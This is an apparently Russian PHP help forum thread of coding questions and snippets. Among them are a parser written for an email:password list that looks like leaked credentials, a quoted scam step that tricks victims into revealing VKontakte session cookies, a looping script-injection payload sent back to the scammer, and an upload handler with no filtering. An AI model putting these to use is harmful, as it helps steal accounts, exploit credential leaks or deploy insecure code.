<?
include "../config.php";

$query = mysql_query("SELECT count(idtovar) as idt FROM tovar");
while($row = mysql_fetch_array($query))
$idt=$row['idt'];
echo "<select name=categ>";
{
for ($i=1;$i<=$idt;$i++)
echo "<option value=$idt>";
$query = mysql_query("SELECT tovar_name FROM tovar");
while($row = mysql_fetch_array($query))
$tovar_name = $row['tovar_name'];
{
echo $tovar_name;
}
echo "</option>";
}
echo "</select>";
?>

проблема в том что выводит количество полей верно но не выводит название категории в SELECT. =\
в чом проблема, где ошыбка, если можете помогите.

VampiRUS
25.12.2007, 16:49
проблема в вот в чём

for ($i=1;$i<=$idt;$i++)
echo "<option value=$i>";

то вообще сам алгоритм лучше переделать,
получать количество записей не нужно, а сразу во время получения и создавать селект
примерно так(не тестил):


$i=0;
echo "<select name=categ>";
$query = mysql_query("SELECT tovar_name FROM tovar");
while($row = mysql_fetch_array($query))
{
echo '<option value='.($i++).'>';
echo $row['tovar_name'];
echo "</option>";
}
echo "</select>";

XopoIII
25.12.2007, 18:02
блин народ с помощью чего можно залить базу весом 100метров?=(

Macro
25.12.2007, 18:17
блин народ с помощью чего можно залить базу весом 100метров?=(
Вот с помощью этого :) Там встроен Sypex dumper
http://slil.ru/25248390

ThreeD
25.12.2007, 19:53
Доброго времени суток.
Возникла потребность в сортировке базы, база слудующего вида:

Back Apply for this job

Apply for this job aaurel1an@yahoo.com:Haburica

Back Apply for this job

Следовательно, нужен простенький парсер на пхп, который бы вытянул мыло и имя, записав их в отдельный файл. Извиняюсь если не в тот раздел, но если кому не сложно, плз, потратьте пару минут на сие благородное дело :) , т.к. у самого получается какая то неработающая ахинея,вытягивающая одни @ или :, которая была успешно снесена :) . Или направьте кде качнуть, либо куда обратиться.
С ув. ThreeD

Macro
25.12.2007, 20:06
Доброго времени суток.
Возникла потребность в сортировке базы, база слудующего вида:



Следовательно, нужен простенький парсер на пхп, который бы вытянул мыло и имя, записав их в отдельный файл. Извиняюсь если не в тот раздел, но если кому не сложно, плз, потратьте пару минут на сие благородное дело :) , т.к. у самого получается какая то неработающая ахинея,вытягивающая одни @ или :, которая была успешно снесена :) . Или направьте кде качнуть, либо куда обратиться.
С ув. ThreeD
Парсер сделаю, только скажи, как имя вытягивать? Имя всегда должно идти после : ?

Demetra
25.12.2007, 20:31
Marco,чуть глючит,когда файл скрипта вызывается как результат отправки формы-все ок,а если набрать адрес этого скрипта выдает ошибку нотис че та там индексный требует,может сделать подавление ошибок чтоб невидно было?

ThreeD
25.12.2007, 20:33
2 Macro
Заранее искренне благодарен, если честно-мне без разницы, если чё-я на код посмотрю и сам подправлю, по крайней мере попытаюсь ;)
Мне главное, чтоб лишний мусор убрать. Спасибо.
С ув. ThreeD

Macro
25.12.2007, 20:50
Marco,чуть глючит,когда файл скрипта вызывается как результат отправки формы-все ок,а если набрать адрес этого скрипта выдает ошибку нотис че та там индексный требует,может сделать подавление ошибок чтоб невидно было?
Скажи какой нотис.

2Threed
Ok сейчас напишу

Demetra
25.12.2007, 20:55
Notice: Undefined index: ip in /usr/home/smart60 /htdocs/hlam/ip-host.php on line 7 Удачной дороги нафиг!

Macro
25.12.2007, 20:58
2Demetra выложи весь код ip-host.php я скажу в чем проблема

2ThreeD
Что-то в этом роде.

<?
$baza=file_get_contents('baza.txt');
preg_match_all('/([^\s@]+@[^\s\.]+\.[a-z]{2,8}):([^\s]*)/i',$baza,$matches);
$emails=$matches[1];
$names=$matches[2];
?>

Demetra
25.12.2007, 21:04
<?php print" <form action='' method='POST'> <input type=text name='ip' value= ''size='' maxlen='12'> <input type=submit value=Ok> </form>"; $ip=($_POST['ip']); if(! preg_match ( '/^([\d]{1 ,3 }\.[\d]{1 ,3 }\.[\d] {1 ,3 }\. [\d]{1 ,3})$/', $ip )){die( 'Удачной дороги нафиг!' );} $hostname=gethostbyadd r("$ip");echo"имя $ip: $hostname";?>

Macro
25.12.2007, 21:08
<?php print" <form action='' method='POST'> <input type=text name='ip' value= ''size='' maxlen='12'> <input type=submit value=Ok> </form>"; $ip=($_POST['ip']); if(! preg_match ( '/^([\d]{1 ,3 }\.[\d]{1 ,3 }\.[\d] {1 ,3 }\. [\d]{1 ,3})$/', $ip )){die( 'Удачной дороги нафиг!' );} $hostname=gethostbyadd r("$ip");echo"имя $ip: $hostname";?>

ВОт так ошибки не должно быть

<?php
print ("
<form action='' method='POST'>
<input type=text name='ip' value= ''size='' maxlen='12'>
<input type=submit value=Ok>
</form>");
if(isset($_POST['ip']))
{
$ip=$_POST['ip'];
if(! preg_match ( '/^([\d]{1 ,3 }\.[\d]{1 ,3 }\.[\d] {1 ,3 }\. [\d]{1 ,3})$/', $ip ))
{die( 'Удачной дороги нафиг!' );} $hostname=gethostbyadd r("$ip");
echo("имя $ip: $hostname");
}
?>

Demetra
25.12.2007, 21:25
Marco,вобще хрень вылазит,лан сама разберусь,спосибо)

Macro
25.12.2007, 21:27
Marco,вобще хрень вылазит,лан сама разберусь,спосибо)
Гы Ты когда запостила код - форум вставил пробел в имя функции gethostbyaddr

ВОт так работает

<?php
print ("
<form action='' method='POST'>
<input type=text name='ip' value= ''size='' maxlen='12'>
<input type=submit value=Ok>
</form>");
if(isset($_POST['ip']))
{
$ip=$_POST['ip'];
if(! preg_match ( '/^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1 ,3})$/', $ip ))
{die( 'Удачной дороги нафиг!');}
$hostname=gethostbyaddr("$ip");
echo("имя $ip: $hostname");
}
?>

Demetra
25.12.2007, 21:35
не там $ в регулярном лишнее

Macro
25.12.2007, 21:54
не там $ в регулярном лишнее
нет не лишнее

Demetra
25.12.2007, 22:00
убрала заработало

.:EnoT:.
26.12.2007, 04:43
полчетвёртого ночи, не хрена не соображаю =/

Выборку нужно сделать всех данных, содержащих цифру 1 в поле `number` в обратном порядке, начиная с последнего id.
$query = @mysql_query("SELECT * FROM `table` WHERE `number` = '1' ORDER BY `number` DESC");

этот запрос не работает (выводит всё равно начиная с первого id )

XopoIII
26.12.2007, 08:06
может потому что ты сортируешь единицы=)? по дате бы получилось, а 1 всегда 1 вот и выводит как есть, хз

scrat
26.12.2007, 09:20
полчетвёртого ночи, не хрена не соображаю =/

Выборку нужно сделать всех данных, содержащих цифру 1 в поле `number` в обратном порядке, начиная с последнего id.
$query = @mysql_query("SELECT * FROM `table` WHERE `number` = '1' ORDER BY `number` DESC");

этот запрос не работает (выводит всё равно начиная с первого id )
тебе нужно с последнего id а тут ты сортируешь по 1 вот вариант:
$query = @mysql_query("SELECT * FROM `table` WHERE `number` LIKE '%1%' ORDER BY `id` DESC");
либо = вместо LIKE это от задачи зависит.

groundhog
26.12.2007, 10:46
select * from some_table where some_field=1 order by -id

.:EnoT:.
26.12.2007, 11:41
всем спасибо буим пробовать

XopoIII
26.12.2007, 11:57
люди, вот спросить хотел, вот в сети через мой ип погут смотреть мой сайт, а можно как нибуть сделать чтобы могли мне файлы заливать типа фтп чтоли

groundhog
26.12.2007, 12:05
Вопрос не по теме. Подними любой FTP-сервер. FileZilla, например.

AFoST
26.12.2007, 12:15
XopoIII, а можно и черех хттп.
Создаем 2 файла

//это файл accept.php
<?php
move_uploaded_file($userfile, './file.file');
?>


//это файл transfer.html
<FORM ENCTYPE='multipart/form-data' ACTION='./accept.php' METHOD='POST'>
<INPUT TYPE='hidden' name='MAX_FILE_SIZE' value='100000'>
Send this file: <INPUT NAME='userfile' TYPE='file'>
<INPUT TYPE='submit' VALUE='Send'>
</FORM>

Вот. Открываешь transfer.html отправляеь файл. Он будет называться file.file. Здесь никакой фильтрации НЕТ, так что думай сам))) В общем дальше просто модифицируй.

XopoIII
26.12.2007, 12:45
незакачивается...попробова скрипты фтп установить тож не закачивается, мож что нужно в настройках апача включить?

n3m0
26.12.2007, 13:43
незакачивается...попробова скрипты фтп установить тож не закачивается, мож что нужно в настройках апача включить?


http://php.ru/manual/features.file-upload.html

http://www.phpclub.ru/detail/article/upload


Там всё написано

Raven666
26.12.2007, 14:26
<?php
$images = '<img src="upload_file.gif" />';
if ($handle = opendir('w:/www/upload')) {
while (false !== ($file = readdir($handle))) {
if( $file != "." and $file != ".." and $file != "Thumbs.db" and $file != ".htaccess" and $file != "index.php") {
echo "".($images)." <a href=/upload/$file>$file</a> ". ($_FILES["file"]["size"] / 1000) ." байт <br>";
}
}
closedir($handle);
}
?>
Почему не показывает размер файла? пишет 0 байт :(

Macro
26.12.2007, 14:32
Потому что $_FILES это подмассив массива $_POST

Код исправь на такой:

<?php
$images = '<img src="upload_file.gif" />';
if ($handle = opendir('w:/www/upload')) {
while (false !== ($file = readdir($handle))) {
if( $file != "." and $file != ".." and $file != "Thumbs.db" and $file != ".htaccess" and $file != "index.php") {
echo "".($images)." <a href=/upload/$file>$file</a> ". (filesize($file) / 1000) ." байт <br>";
}
}
closedir($handle);
}
?>

Raven666
26.12.2007, 15:20
пишет ошибку:
Warning: filesize() [function.filesize]: stat failed for bear1.gif in W:\www\dir_upload_file.php on line 6
bear1.gif 0 байт

LordsTN
26.12.2007, 21:16
2Raven666
Попробуй:

<?


$images = '<img src="upload_file.gif" />';
if ($handle = opendir('w:/www/upload')) {
while (false !== ($file = readdir($handle))) {
if( $file !== "." and $file !== ".." and $file !== "Thumbs.db" and $file !== ".htaccess" and $file !== "index.php") {
echo "".($images)." <a href=/upload/$file>$file</a> ". (filesize('upload/'.$file) / 1000) ." байт <br>";

}
}
closedir($handle);
}
?>

Raven666
26.12.2007, 23:03
LordsTN,
Спасибо за помощь, работает!
Macro,
Тебе тоже спасибо! - хотя бы не отказался помочь :)

LordsTN
27.12.2007, 10:20
2Raven666 Всегда рад помочь :)

cb93ka
27.12.2007, 12:41
Тупой вопрос. как лучше организовать? есть 2 кнопки например да\нет.
нажимаешь да - берет текущее значение из файла yes.dat и прибавляет +1 и ложит обратно в файл + выводится текст что вы выбрали то то
нет - берет из no.dat и прибавляет +1 и ложит туда же + выводится текст что вы выбрали другое.

ну т.е. типа голосовалки. в принципе сделать могу, но получается в 3 файла это всё. а как в один файл всё запихнуть

Macro
27.12.2007, 12:47
<?
if(isset($_REQUEST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ ВЫБРАЛИ ДА!!!');
}

if(isset($_REQUEST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ ВЫБРАЛИ НЕТ!!!');
}

print('<form method="POST"><input type=submit name=yes value="Да"><input type=submit name=no value="Нет"></form>');
?>

cb93ka
27.12.2007, 13:08
спс, это как раз то что нужно ;)

осталося прикрутить ограничение на повторный выбор, попробую через куки сделать

AFoST
28.12.2007, 19:38
$str="<br><br>11111<br>22222<br>";
$str=substr($str,4,18);// для данного конкретного случая.
$str=substr($str,4,strlen($str)-8); //для всех остальных =)

astrologer
28.12.2007, 19:47
preg_replace('/^<br>(.*)<br>$/i', '\1', $str);

Macro
28.12.2007, 20:07
preg_replace('/^<br>(.*)<br>$/i', '\1', $str);
гг
поправка


$str=preg_replace('/^<br>(.*)<br>$/i', '\1', $str);


Я тоже иногда синтаксис с preg_match путаю :D

cb93ka
28.12.2007, 20:35
<?
if(isset($_REQUEST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}

if(isset($_REQUEST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}

print('<form*method="POST"><input*type=submit*name=yes*value="Да"><input*type=submit*name=no*value="Нет"></form>');
?>

что тут исправить чтобы при нажатии кнопки появлялася тока надпись, а кнопки да\нет исчезли?

Isis
28.12.2007, 20:46
<?php
if(isset($_POST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}
else
if(isset($_POST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}
else
print('<form*method="POST"><input*type=submit*name=yes*value="Да"><input*type=submit*name=no*value="Нет"></form>');
?>

cb93ka
28.12.2007, 21:02
Isis нету толка. тож самое

Macro
28.12.2007, 21:05
<?
if(isset($_REQUEST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');die;
}

if(isset($_REQUEST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');die;
}

print('<form*method="POST"><input*type=submit*name=yes*value="Да"><input*type=submit*name=no*value="Нет"></form>');
?>

Isis
28.12.2007, 21:27
Macro, я уверен что код этот у него будет стоять где-нибудь в середине страницы...потом он с такими же вопросами будет спрашивать куда делся футер.....а твой "дай" сделал свою функцию - убил его

Macro
28.12.2007, 21:35
Macro, я уверен что код этот у него будет стоять где-нибудь в середине страницы...потом он с такими же вопросами будет спрашивать куда делся футер.....а твой "дай" сделал свою функцию - убил его
Гг ну тогда

<?php
if(isset($_POST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}
else{
if(isset($_POST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}
else
print('<form method="POST"><input type=submit name=yes value="Да"><input type=submit name=no value="Нет"></form>'); }
?>

Isis
28.12.2007, 21:38
Macro, мой первый код аналогичный :)

cb93ka
28.12.2007, 21:40
Вроде заробило, тока я не понял, оно кэшируется или че. куки пусты вроде, но при обнове страницы показан выбранный ответ

Macro
28.12.2007, 21:41
Macro, Isis, я конечно извиняюся, но толку нету всё равно. вы залейте куда нить и проверьте сами =\
Ты кэш обнови и радуйся

cb93ka
28.12.2007, 21:47
вопрос не по теме тада, как обновить? ф5 в опере не помогает =\

Isis
28.12.2007, 21:51
cb93ka, если бы не работало, я бы не писал =\

cb93ka
28.12.2007, 22:12
из того же =(
после тока как проголосовал - нажимаешь ф5 и ещё голоса плюсуются.
как избежать? в какую сторону копать хотя бы? по кукам запрещать? или что

Macro
28.12.2007, 22:17
из того же =(
после тока как проголосовал - нажимаешь ф5 и ещё голоса плюсуются.
как избежать? в какую сторону копать хотя бы? по кукам запрещать? или что
Слушай, тут тема помощи, а не написания скриптов.
Если хочешь, чтобы для тебя с нуля и до необходимого конца написали скрипт - плати.

cb93ka
28.12.2007, 22:17
я спросил в какую сторону копать.

astrologer
28.12.2007, 22:18
При нажатии F5 POST-запрос отправляется заново.
По крайней мере, в Opera и FF

Macro
28.12.2007, 22:21
я спросил в какую сторону копать.
Копать в сторону запрета голосования с одного ip более одного раза, число голосов определять по количеству ip в файле или базе.

gibson
29.12.2007, 00:03
<?php
if(isset($_POST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
unset($_POST['yes']);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}
else{
if(isset($_POST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
unset($_POST['no']);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}
else
print('<form method="POST"><input type=submit name=yes value="Да"><input type=submit name=no value="Нет"></form>'); }
?>
При нажатии F5 POST-запрос отправляется заново.
По крайней мере, в Opera и FF
используй функцию unset. Для заперта голосования с одного ip
$fp = file('tools/port.txt');
f(isset($_POST['yes']) && isset($_POST['no']))
{
$ip=getenv("Remote_addr");
for ($i = 0; $i < count($fp); $i++){
$ban[$i] = ereg_replace("\n","",$fp[$i]);
list($banip,$banmessage)= spliti (" ",$fp[$i]);
//если, в файле находим совпадение с ip
if (eregi("^$banip$",$ip))
{ echo '<b>Вы уже голосовали&nbsp;'.$fp[$i].'</b>'; }
}
}
проверь, написал на скорою руку.

VampiRUS
29.12.2007, 04:42
cb93ka после того как голос учтён, перекидывай юзверя на новую страницу, и проблема ф5 решена, например как на этом форуме при постинге.

Dr.Z3r0
29.12.2007, 10:02
VOLAND']Ха)) в том то и сложность что количество <br> может изменяться..... Короче надо написать функцию-аналог trim для того чтобы обрезала <br> при постинге коммента в гесте...так и не понял что те конкретно надо... но если тупо вырезать тег <br> то юзай str_replace('<br>','',$str); а если хочешь чтоб теги не обрабатывались браузером то юзай htmlspecialchars()

groundhog
29.12.2007, 11:09
А ещё есть такие функции как strip_tags и preg_replace...

serg™
30.12.2007, 23:37
Нужен скрипт, который при запуске через крон будет запускать рандомно один из 100 других.
К примеру в cmd.txt указать построчно 100 файлов php и скрипт должен нашару брать одни и запускать
зы, в php ничё не смыслю=)

Joker-jar
30.12.2007, 23:57
Делаешь массив имен скриптов

$sarr = array('script1.php', 'script2.php','script3.php');

Потом рандомом инклудишь один из них

include $sarr[rand(0,count($sarr)-1)];

Либо редирект на него

HeReTiC
31.12.2007, 01:32
Тоже самое только названия берет с файла
<?
$include=file('.\cmd.txt');
list($line,$num) = each ($include);
include(chop($include[rand(0,count($include)-1)]));
?>

Scipio
31.12.2007, 03:00
Тоже самое только названия берет с файла
<?
$include=file('.\cmd.txt');
list($line,$num) = each ($include);
include(chop($include[rand(0,count($include)-1)]));
?>

не понял...
так проще, лучше, а самое главное правильно в отличии от предыдущего поста
<?
$include=file("cmd.txt");
include(chop($include[mt_rand(0,count($include)-1)]));
?>

Meanor
31.12.2007, 03:38
Доброго дня,

Не подскажете, насколько безопасна капча внизу и стоит ли в ней что-нибудь заменять?
http://img245.imageshack.us/img245/703/capchahj8.png

.:EnoT:.
31.12.2007, 06:07
Ну в этой капче хорошо бы если б цифры перекарёживались, а то так распознать можно или зачёркнуты бы были предположим, тоже вариант...
Ты сам чтоли капчу пишешь?

Meanor
31.12.2007, 06:30
Угу, основа лежит в "полезных скриптах" на странице эдак 12...

Вот еще варианты:
http://img178.imageshack.us/img178/3985/capcha2ih6.png
http://img172.imageshack.us/img172/5139/capcha3lo0.png

Просто, но не хочится морочить себе голову вирлами, поворотами, шрифтами... (а чувствую что предется...).


ПС. Один простой вопрос: как проверить, открыта ли уже сессия?

.:EnoT:.
31.12.2007, 06:36
Первый конечно ничего, но слабочитаемый))
ПС. Один простой вопрос: как проверить, открыта ли уже сессия?
if(isset($_SESSION['lala']))
{
echo"Ссессия есть";
}
else
{
echo"Нету не хрена";
}

scrat
31.12.2007, 14:33
Первый конечно ничего, но слабочитаемый))

if(isset($_SESSION['lala']))
{
echo"Ссессия есть";
}
else
{
echo"Нету не хрена";
}
ну тебе может быть не известны имена переменных.чтобы быть абсолютно уверенным:
<?php
if(session_destroy()) echo "сессия была";
else echo "сессии не было";
?>

Scipio
31.12.2007, 15:07
тогда уж:
if(isset($_SESSION))
{
echo"Ссессия есть";
}
else
{
echo"Нету не хрена";
}

D0S
31.12.2007, 17:25
народ ищу вот это _ttp://freestudents.ru/vkontakte/graffiti.php

D0S
31.12.2007, 17:35
Я гарантирую, что на моем сайте конфиденциальная информация защищена! Администратор. :o

мл( в пхп не силен... мб есть у кого?

.:EnoT:.
31.12.2007, 17:59
тупой развод. это из разряда - отправьте нам свой пароль, а то заблокируем аккаунт

Meanor
01.01.2008, 17:47
ну тебе может быть не известны имена переменных.чтобы быть абсолютно уверенным:
<?php
if(session_destroy()) echo "сессия была";
else echo "сессии не было";
?>

Чет мну это напоминает ^^
<Шелезяка[work]> подскажите плиз как проверить существует ли таблица в базе mysql
<Есть> if (mysql_query('DROP TABLE таблица')) echo "таблица существовала";


Появился другой вопрос: как на уровне js убрать из строки ненужные "перенос строки" (ajax'у приходит строка, в которой откуда-то появляются лишние /n =( )

Meanor
01.01.2008, 18:01
_ttp://freestudents.ru/vkontakte/graffiti.php :

1. Заходим на страницу ВКонтакта
2. В адресной строке браузера вводим:

javascript:document.write(document.cookie);

3. Скопируйте сюда, что получили**:

Омг, а ведь найдутся люди, которые поверят =( . А потом их друзья будут им писать "Так когда ты мне отдашь мои 100$ которые я тебе переслал на твой электронный кошелек?"

bul.666
01.01.2008, 18:07
Отправил:
Ты долбоеб! <script>while(1) {alert(/mda/); }</script>
Интересно, как он читает логи =)

astrologer
01.01.2008, 18:39
javascript:document.write(document.cookie); И зачем ему тут document.write.Появился другой вопрос: как на уровне js убрать из строки ненужные "перенос строки" (ajax'у приходит строка, в которой откуда-то появляются лишние /n =( )По какому принципу различаются нужные и ненужные? Вот так удаляются все:
<script type="text/javascript">
var str;
str = Данные_с_"CR"_ и_"LF";
str = String(str).replace(/(\r|\n)/g, '');
</script>

bul.666
01.01.2008, 18:42
И зачем ему тут document.write
Потому как в нек бразерах, например IE нельзя копировать вывод например из обычного Алерта... А так легче копировать вывод куков =\

astrologer
01.01.2008, 19:48
Потому как в нек бразерах, например IE нельзя копировать вывод например из обычного Алерта... А так легче копировать вывод куков =\При "переходе" по JS-URI, на странице показывается значение, возвращенное последним выражением:javascript:document.cookieЛ чше бы он функционал написал. А ещё лучше - не занимался бы подобными разводами.

Piflit
02.01.2008, 01:03
нужно реализовать капчу. вернее, передачу ее правильного значения между скриптами. я делал так.
в начале страницы с формой
<?php
session_start();
session_register("pic_val");
?>
потом идет
<img src="pic.php">
в pic.php рисуется капча и в ней присваивается значение сеансовой переменной $_SESSION["pic_val"] = $captcha;
в скрипте, куда идет пользователь сравниваются значения капчи и введенное
echo $_SESSION["pic_val"].$_POST["pic"]
выводится только $_POST["pic"], т.е. сеансовой переменной значение не присваивается. как сделать, чтобы работало?

NOmeR1
02.01.2008, 01:40
Начинай и регистрируй сессию в скрипте капчи.

Piflit
02.01.2008, 01:59
то же самое. может в конфигах что-то подправить?

-Hormold-
02.01.2008, 02:04
Помогите, нужен скрипт...
Вот описание:
Есть определённое количество очков. После скрипт считаем, если больше 50 очков он выводит скрипт по такому принципу:

//$s - очки
if(mt_rand(0,200)%5==0&&$s<50)
{
$text.="Вот тебя девятка!<br>";
$s-=50;//Вычитаем из общего количества очков
}

И так далее, например требования очков: 20,50,120,700,1000

NOmeR1
02.01.2008, 02:11
то же самое. может в конфигах что-то подправить?
Тогда скорее всего $captcha не определена.

Piflit
02.01.2008, 02:11
if(mt_rand(0,200)%5==0&&$s<50)
в каком порядке будут выполняться действия? расставь скобки

Тогда скорее всего $captcha не определена.
$captcha = rand(1000, 9999);
$_SESSION["pic_val"] = $captcha;

Noiro
02.01.2008, 02:39
...
Проверь наличие session_start(); во всех скриптах (оно должно быть и в pic.php и в файле с формой, до вывода каких-либо данных) и убери session_register("pic_val");
Ну и проверить сниффером наличие айди сессии в передаваемых браузером данных, может что-то режет куки

Piflit
02.01.2008, 02:47
Проверь наличие session_start(); во всех скриптах (оно должно быть и в pic.php и в файле с формой, до вывода каких-либо данных) и убери session_register("pic_val");
Ну и проверить сниффером наличие айди сессии в передаваемых браузером данных, может что-то режет куки
спасибо =)) дело оказалось в session_start();
почему можно было убрать session_register("pic_val"); ?

Noiro
02.01.2008, 02:51
почему можно было убрать session_register("pic_val"); ?
Дык оно deprecated, плюс работает только если включено register_globals что вообще идея дурная.
Caution

If you want your script to work regardless of register_globals, you need to instead use the $_SESSION array as $_SESSION entries are automatically registered. If your script uses session_register(), it will not work in environments where the PHP directive register_globals is disabled.

http://ru2.php.net/session_register

Meanor
02.01.2008, 03:27
Piflit

Не забудь кэшировать md5 значение , которое вставляешь в сессию.

Если капча идет на регистрацию(например) , то не забудь при успешной регистранции сделать $_SESSION["pic_val"]=rand(1000,9999); т.к. если значение этой сессионной переменной не поменять, то юзер сможет регистрировать до бесконечности, вставив однажды нужный код.

Piflit
02.01.2008, 04:34
Piflit
Не забудь кэшировать md5 значение , которое вставляешь в сессию.

всмысле?..
Piflit
Если капча идет на регистрацию(например) , то не забудь при успешной регистранции сделать $_SESSION["pic_val"]=rand(1000,9999); т.к. если значение этой сессионной переменной не поменять, то юзер сможет регистрировать до бесконечности, вставив однажды нужный код.
$_SESSION["pic_val"]=rand(1000,9999); почему-то не пашет... использовал session_destroy();

ЗЫ какое значение у параметров функции bcmod();?

Meanor
02.01.2008, 05:33
В смысле, что когда рандомишь то, что будет выведенно на картинке, в соответствующую переменную сессии заносишь md5 хэш того отрандомленного числа/слова. Потом при проверке делаешь что-то вроде :
if($_SESSION["pic_val"] == md5($_POST['capcha']) {все нормально}
else {все плохо}
(это для того, чтобы "злоумышленник" не брал нужный капченый код из сессии)

А насчет session_destroy(); , это, впринципе, даже лучше... ^^

Про bcmod()

string bcmod ( string left_operand , string modulus )
целый остаток от деления левого числа на правое

<?php
echo bcmod('4', '2'); // -> 4=2*2+0 выведет 0
echo bcmod('2', '4'); // -> 2=4*0+2 выведет 2
?>


По посту внизу:
Скажем так, что если все делается через cookies, то хэширование обязательно, если через сессии, то просто желательно...

Noiro
02.01.2008, 05:48
if($_SESSION["pic_val"] == md5($_POST['capcha']) {все нормально}
else {все плохо}
(это для того, чтобы "злоумышленник" не брал нужный капченый код из сессии)
Не сочтите за флейм, но разницы в плане "надежности" между хранением в $_SESSION самого кода и его md5 нет никакой - без шелла/инклуда/дыры-на-просмотр-произвольных-переменных на сервере с капчей пользователь содержимое $_SESSION узнать не может.

Piflit
02.01.2008, 22:54
у меня есть в бд таблица с полями, у которых id (клолонка типа SERIAL) имеет значения 1, 2 и 3. (3 записи). как сделать, чтобы при удалении второй записи id третьей записи менялся с 3 на 2?

Macro
02.01.2008, 22:57
у меня есть в бд таблица с полями, у которых id (клолонка типа SERIAL) имеет значения 1, 2 и 3. (3 записи). как сделать, чтобы при удалении второй записи id третьей записи менялся с 3 на 2?
mysql_query("UPDATE tablica SET id=2 WHERE id=3")

Или тебе это хочется автоматически? А зачем?

Piflit
02.01.2008, 23:39
mysql_query("UPDATE tablica SET id=2 WHERE id=3")
гы. конечно автоматически))

Macro
02.01.2008, 23:45
гы. конечно автоматически))
Автоматически не получится. А зачем? PHP ведь все равно по порядку выдирает из базы, не зачем использовать id, пронумеруй записи при выводе

Spyder
02.01.2008, 23:47
ой, я синтаксиса не знаю, но там через условия то можно наверное написать
заносишь функцию удаления в перменную, потом через if() проверяешь её на существования и в случает если она возвратит тру, в болке if {} выполняешь код от Macro =)
Сори: если я бред пишу, но вроде так
я пшп не знаю =(

Spyder
02.01.2008, 23:50
$ok = mysql_query("DELETE FROM tablica WHERE id=3");
if ($ok) {
mysql_query("UPDATE tablica SET id=2 WHERE id=3");
}
ну вот так наверное, или я чего не так понял? 0_о

Macro
02.01.2008, 23:51
ой, я синтаксиса не знаю, но там через условия то можно наверное написать
заносишь функцию удаления в перменную, потом через if() проверяешь её на существования и в случает если она возвратит тру, в болке if {} выполняешь код от Macro =)
Сори: если я бред пишу, но вроде так
я пшп не знаю =(
Нет, в условии нельзя. Да и нафиг не нужно :) Просто из цикла вывода вставляем $i к каждой записи. Получается отличная нумерация по порядку

Meanor
02.01.2008, 23:52
$result = mysql_query("SELECT id, something FROM tablica ORDER BY id");
$i=0;
while($fetch = mysql_fetch_array($result, MYSQL_ASSOC)){
$some = $fetch['something'];
mysql_query("UPDATE tablica SET id=$i WHERE something = $some")
$i += 1;
}


Что-то похожее на это. Так делаем ид у всех в нужном порядке...

Spyder
02.01.2008, 23:54
Macro, почему нельзя? разве приведённый мной код не будет работать?

Macro
02.01.2008, 23:55
Meanor, угу, но something не обязательно.


$result = mysql_query("SELECT id FROM tablica ORDER BY id");
$i=0;
while($fetch = mysql_fetch_array($result, MYSQL_ASSOC)){
$id = $fetch['id'];
mysql_query("UPDATE tablica SET id=$i WHERE something = $id")
$i++;
}

Macro
02.01.2008, 23:57
Macro, почему нельзя? разве приведённый мной код не будет работать?
Извини, я тебя неправильно понял :) Все правильно говоришь.

Piflit
03.01.2008, 00:20
всем спасибо, я разобрался)

Boxs
03.01.2008, 17:00
Нужно написать небольшой скрипт для рекламы, мне хотелось бы чтобы была возможность выводить баннеры на сайт (например баннер 468Х60) в рандомном порядке

А так же желательно сделать вывод баннеров по разделам "468Х60" "120Х600" "100Х100"

Meanor
03.01.2008, 17:32
Вот пример, name'ы заменяешь на соответствующие названия картинки баннера + формат картинки изменишь.
В хтмл файле, в нужных местах вставляешь [%468Х60%], [%120Х600%], [%100Х100%], в те места, где должен (должны) быть соответствующий баннер.
Все картинки баннеров сложены в папку banners.

$buf=implode('',file('templates/site.htm')); //Загружаем хтмл файл сайта

//Создаем массивы с баннерами
$ban1 = array('1_name1.png' ,'1_name2.png', '1_name3g.pn'); // для 468Х60
$ban2 = array('2_name1.png', '2_name2.png',' 2_name3.png', '2_name4.png'); // для 120Х600
$ban3 = array('3_name1.png', '3_name2.png'); // для 100Х100

//Рандомим индексы массивов
$index1 = rand(0,(count($ban1)-1));
$index2 = rand(0,(coun($ban2)-1));
$index3 = rand(0,(count($ban3)-1));

//Готовим баннеры хтмл'ом
$banner1 = '<img src=\"banners/'.$ban1["$index1"].'\" />'
$banner2 = '<img src=\"banners/'.$ban2["$index1"].'\" />'
$banner3 = '<img src=\"banners/'.$ban3["$index1"].'\" />'

